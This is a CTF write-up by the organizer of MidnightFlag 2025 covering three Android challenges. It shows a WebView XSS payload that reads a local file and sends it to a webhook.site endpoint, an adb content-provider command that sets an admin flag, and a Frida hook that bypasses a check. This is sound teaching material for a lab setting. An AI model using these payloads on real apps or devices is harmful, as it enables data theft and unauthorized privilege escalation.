MidnightFlag CTF - 2025
This year, I had the pleasure of being the organizer of MidnightFlag CTF and making it my school year project.
I was lucky to create and maintain the CTF infrastructure. Huge thanks again to @Exoscale for providing the hosting! (and to Sebastien :p)
0% downtime - that’s a real record ;)
I developed 3 challenges in the Android category. A special thanks to @Worty for agreeing to create the third one with me!
For the writeups, we’ll start with the hardest one and finish with the easiest.
Neopasswd3 (Hard)
neopasswd3 is the most complete and playful version yet. More features, more fun… And for the anecdote, this one’s inspired by a real bug I found during bug bounty 👀
- Neopasswd3.apk : APK of the challenge
- server.js : Remote NodeJS server used to interact with the APK
The NodeJS server
In server.js
, we quickly understand that the server and the APK are used to authorize authentication on websites. The following WebSocket messages can be exchanged with the server:
- device: Used by the Android application to authenticate itself to the server, with a UUID if it has already connected — otherwise the server returns one.
- authorization: Creates an event that will be retrieved by the APK to authorize (or not) the connection.
- authorization_response: Used by the Android application to send the response to a connection request.
Note that the following code is executed every second to send connection requests from all users:
function startEventLoop(ws, deviceId) {
const interval = setInterval(() => {
db.get(`SELECT * FROM event WHERE device_id = ? ORDER BY id LIMIT 1`, [deviceId], (err, row) => {
if (row) {
ws.send(JSON.stringify({
type: "authorization",
reason: row.reason,
id: row.device_id
}));
db.run(`DELETE FROM event WHERE id = ?`, [row.id]);
}
});
}, 1000);
}
There is a hardcoded special ID 11111111-1111-1111-1111-111111111111 which corresponds to the administrator’s phone as well :)
The Android application
In the APK, there isn’t much source code. Basically, the only interesting class is MainActivity.java
, which is responsible for the connection to the web server. When a connection request is received, the following code is executed:
//[...]
public void showAuthorizationPopup(String reason, final AuthorizationCallback callback) {
AlertDialog.Builder builder = new AlertDialog.Builder(this);
WebView webView = new WebView(this);
webView.setWebViewClient(new WebViewClient());
final AlertDialog dialog = builder.create();
webView.getSettings().setJavaScriptEnabled(true);
webView.getSettings().setAllowFileAccess(true);
webView.getSettings().setAllowFileAccessFromFileURLs(true);
webView.addJavascriptInterface(new Object() {
@JavascriptInterface
public void agree() {
dialog.dismiss();
try {
JSONObject result = new JSONObject();
result.put(NotificationCompat.CATEGORY_STATUS, "agree");
result.put("timestamp", System.currentTimeMillis());
callback.onAuthorizationResponse(result);
} catch (Exception e) {
e.printStackTrace();
}
}
@JavascriptInterface
public void disallow() {
dialog.dismiss();
try {
JSONObject result = new JSONObject();
result.put(NotificationCompat.CATEGORY_STATUS, "disallow");
result.put("timestamp", System.currentTimeMillis());
callback.onAuthorizationResponse(result);
} catch (Exception e) {
e.printStackTrace();
}
}
}, "Android");
try {
File htmlFile = new File(getFilesDir(), "webview_payload.html");
String html = "<html><body style='background:#000;color:#0f0;text-align:center;font-family:monospace;'><h3>A person try to connect on your account</h3><p>Invoked reason: <b>" + reason + "</b></p><button onclick='Android.agree()'>Agree</button> <button onclick='Android.disallow()'>Disallow</button></body></html>";
FileOutputStream fos = new FileOutputStream(htmlFile);
fos.write(html.getBytes(StandardCharsets.UTF_8));
fos.close();
webView.loadUrl("file://" + htmlFile.getAbsolutePath());
dialog.setView(webView);
dialog.setCancelable(true);
dialog.show();
} catch (Exception e) {
e.printStackTrace();
}
}
//[...]
Potential file read
In the previous Android code, we see the WebView is created with the following dangerous settings:
webView.getSettings().setJavaScriptEnabled(true);
webView.getSettings().setAllowFileAccess(true);
webView.getSettings().setAllowFileAccessFromFileURLs(true);
setJavaScriptEnabled
allows JavaScript code to run inside the WebView.setAllowFileAccess
allows the WebView to read local files viafile://
.setAllowFileAccessFromFileURLs
allows JavaScript from a local file to read other files viafile://
.
This combination can lead to reading sensitive files from the app sandbox if an XSS is present.
XSS
When the app receives a connection event, an HTML page is constructed with a user-controlled parameter reason
, which is received from the NodeJS server and transmitted as-is to the APK.
So, as the user knows the admin ID, they can trigger an XSS inside the WebView on the admin’s device (and perform a file read).
File htmlFile = new File(getFilesDir(), "webview_payload.html");
String html = "<html>[...]<h3>A person try to connect on your account</h3><p>Invoked reason: <b>" + reason + "</b>[...]</html>";
Full Exploit
Since we know the admin has the ID 11111111-1111-1111-1111-111111111111
, we can send a message that triggers an XSS on their phone! (Yes, as CTF organizers, we had an Android VM during the event to run players’ payloads :p)
Sending the following WebSocket message triggers the bug and gets us the flag:
{
"type": "authorization",
"id": "11111111-1111-1111-1111-111111111111",
"reason": "Connexion on test <script>
f = x => fetch(\"https://webhook.site/<YOUR_UUID>\", {
method: \"POST\",
headers: {
\"Content-Type\": \"text/plain\"
},
body: x
});
x = new XMLHttpRequest();
x.onload = () => f(x.responseText);
x.open(\"GET\", \"file:///data/user/0/com.example.neopasswd3/files/flag.txt\");
x.send();
</script>"
}
Tada! We got the flag on our webhook!
MCTF{5a66684f15b18bf4973d60bc7bea912b}
Talk
If you found this interesting, feel free to check out a talk I gave on the topic :)
And if you look closely, you might even find it on YouTube → Click here
Neopasswd2 (Medium)
neopasswd2 is the shiny new version of the original app, now with notifications and login! The devs said it’s safe — that’s cute.
- Neopasswd2.apk : APK of the challenge
Understanding the APK
When we decompile the APK, we notice it involves some kind of admin authentication and encrypted message handling.
Running the app lets us see that it’s possible to create an account and authenticate ;)
The function tryDecrypt
attempts to decrypt some Base64-encoded data using AES. But before doing that, it checks the size of the decoded data. As we can see in the method getMaxAllowedLength()
, it only allows a maximum of 3 bytes.
So if the message, once Base64-decoded, is longer than 3 bytes, the method immediately returns null
and skips the decryption entirely!
10
Becoming admin
There were multiple ways to make your user become an administrator! It was possible either via Frida, or directly by writing to the database.
Here’s an interesting snippet from the AndroidManifest.xml
:
The manifest declares a UserProvider
that is exported and doesn’t require any special permissions. Since it’s publicly accessible and its authority is known (com.example.neopasswd2.provider
), it can be directly used via ADB:
adb shell content update --uri content://com.example.neopasswd2.provider/users \
--bind admin:i:1 \
--where "\"username='pwnii'\""
With this command, you can update the admin
field of your user in the database, potentially granting admin rights, without needing to authenticate or go through the app’s UI.
Hooking
Now that we are admin, we’ll need to hook the getMaxAllowedLength()
function to increase the byte limit and be able to decrypt the message!
To do that, we just need to pull out Frida:
We can hook the getMaxAllowedLength()
method using Frida to bypass the length restriction in the decryption logic. By default, this method returns 3
, which blocks any decryption attempt on data longer than 3 bytes. To override this, we can use the following script:
Java.perform(() => {
const Main = Java.use("com.example.neopasswd2.MainActivity");
Main.getMaxAllowedLength.implementation = function () {
console.log("getMaxAllowedLength() patched -> 999");
return 9999;
};
});
This forces the method to return 9999
instead of 3
, allowing us to pass longer encrypted payloads to the tryDecrypt
method and retrieve the full decrypted output!
We click the notification icon to trigger the function and tadaa!
Th3_c4k3_1s_4_L13!
Bbyneopasswd (Easy)
bby neopasswd is a small mobile app currently under development by a group of students. Can you find the flag hidden within their early prototype?
- Bby_neopasswd.apk: APK of the challenge
Decompiling the app
You could launch the APK to see what it looked like, but it wasn’t very useful as there was nothing interesting on the front-end to solve the challenge.
Decompiling the APK, we find that there’s not much going on in MainActivity
, but we discover something interesting in the notifications part, specifically in the NotificationsFragment
file.
The method encryptNotification()
uses XOR with the key 66
to encrypt data. Since XOR is symmetric, we can decrypt by applying the same XOR again.
In the onCreateView()
method, we see a byte array:
byte[] bArr = {15, 1, 22, 4, 57, 115, 54, 119, 29, 17, 55, 18, 113, 48, 29, 113, 35, 49, 59, 29, 54, 114, 29, 4, 115, 44, 38, 29, 17, 113, 33, 48, 39, 54, 119, 63};
We can decrypt this byte array using a simple XOR operation with the key 66
. Here’s a quick Python script that does it:
encrypted = [15, 1, 22, 4, 57, 115, 54, 119, 29, 17, 55, 18, 113, 48, 29, 113, 35, 49, 59, 29, 54, 114, 29, 4, 115, 44, 38, 29, 17, 113, 33, 48, 39, 54, 119, 63]
key = 66
decrypted = ''.join(chr(b ^ key) for b in encrypted)
print(decrypted)
And we got the flag :)
MCTF{1t5_SuP3r_3asy_t0_F1nd_S3cret5}